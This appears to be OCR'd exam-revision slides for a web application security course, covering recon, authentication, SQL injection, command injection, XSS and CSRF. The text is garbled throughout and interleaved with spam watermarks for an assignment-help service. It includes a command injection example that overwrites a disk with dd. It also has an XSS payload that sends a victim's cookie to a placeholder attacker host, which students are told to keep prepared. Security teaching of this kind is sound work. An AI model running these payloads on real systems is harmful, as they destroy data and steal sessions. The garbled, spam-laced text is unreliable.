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OVERVIEW

- The exam with Stigment, Brogisat to when the ball remains.
- The exam will com
 - 7 practical chahttps://eduassistpro.github.io/
 - 1 written response challenge
- There are no hidden Arthonus markshat edu_assist_pro
- This is a high-level recap. You should review the weekly slides.

TOPIC 1: RECON

- Recon identifies infrastructure, applications and content
 - Offensive: Jook for unpatched spftware test / admin content
 - Defensive: kn https://eduassistpro.github.io/
- Commercial tools available Chat edu_assist_pro
 Verify false positives / negatives
- You will not need to do host discovery in the final exam.

TOPIC 1: RECON

- Automated tooling:
 - dirb, dirbuster gobuster (have a word ist ready) Help
 - burp passive scanner
 - fingerprint / c https://eduassistpro.github.io/
 - altdns, zdns, massdns
- View source: Add WeChat edu_assist_pro
 - Comments
 - Links
 - HTTP Headers

TOPIC 2: AUTHENTICATION

- Authentication identifies a specific user logging in
- Typical attacks: Brute force / simple passwords (e.g. admin:admin)

 - Injection atta https://eduassistpro.github.io/
 - **Broken forgot**
 - XSS (stealing Autor's Vockie) at edu assist pro
 - Session fixation (forcibly set a user's cookie).
- Burpsuite request tampering to modify
- Hashcat/john/google to look up password hashes

TOPIC 2: AUTHORIZATION

- Authorization identifies whether a user is permitted to take an action or use
- Typical attacks: Assignment Project Exam Help

 - IDOR (id=2)
 Browse to pri https://eduassistpro.github.io/
 - Modify own user page VeChat edu_assist_pro CSRF (force someone else to tak tion)
 - •
 - XSS (use another user to fetch privileged content)

TOPIC 2: ACCESS CONTROL

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TOPIC 3: SERVER-SIDE ATTACKS

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```
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```

Make your own test string. Edit it to suit it each target. Test your own systems.

TOPIC 3: SQLi

select * from users where username='admin' and password='hunter2' limit 1; Assignment Project Exam Help

- Write out your SQ https://eduassistpro.github.io/
- Quote styles (sing
- Comment styles (-- # WeChat edu_assist_pro
- Wildcards (%, *)
- Binary searches vs delays
- sqlmap (but always manually review your tool output).

TOPIC 3: COMMAND INJECTION

ping 8.8.8.8 && dd if=/dev/urandom of=/dev/sda1 bs=1 count=1024 Assignment Project Exam Help

- Look for where yo https://eduassistpro.github.io/
- Be aware of OS s
 - Chaining compands WeChat edu_assist_pro
 - UNC paths
 - Backticks
 - Cheatsheet:
 https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheatsheet.html

TOPIC 3: DEFENSE AGAINST INJECTION

- Any input influenced by a user is considered tainted.
- Do not (without filtering):

 Use tainted data in processing

 - Display taintehttps://eduassistpro.github.io/
- Filtering technique
 - Check the input exists pta Chat edu assist pro
 - Check input is legitimate format a •
 - Whitelist entire input (e.g. "input must be 1,2 or 3")
 - Whitelist characters •

TOPIC 4: CLIENT SIDE SECURITY

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TOPIC 4: CSRF

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(source: week 5)

TOPIC 4: SAME ORIGIN POLICY

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tl;dr: JavaScript from one origin cannot access data from another origin.

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

TOPIC 4: CSRF

Use random CSRF tokens to prevent this.

TOPIC 4: XSS

- When an attacker can control the content displayed to users
 - HTML, AavaScript, CSSt any etheractive contentelp
 - Extract cookies (document.write("blah"+document.cookie))
 - Chain with C https://eduassistpro.githquestlo/
- Reflected: attacke when accessed by the victim.
- Stored: attacker poisons a persistent s

 Victim.
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 later

You should have some payloads prepared for the exam, e.g.: <scRipt>fetch("https://{attacker_url}:8443/api/v1/pastebin? pasteval="+document.cookie)</scRipT>

TOPIC 5: DEVSECOPS / AGILE SECURITY

DevSecOps—short for *development*, *security*, and *operations*—automates the integration of security at every phase of the software development lifecycle, from initial design through integration, testing, deployment and software delivery. Exam Help

- Role of security in agil
- https://eduassistpro.github.io/ Static AST, Dynamic
- Source code review:
 - Sources, sinks, tandad tant tracking t edu_assist pro
 - Tools: commercial, grep

The exam's written component will be on Week 5 content.

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THANK https://eduassistpro.gitsubain/r!

Auditohremant edu_assist_pro

(there is no lecture tomorrow)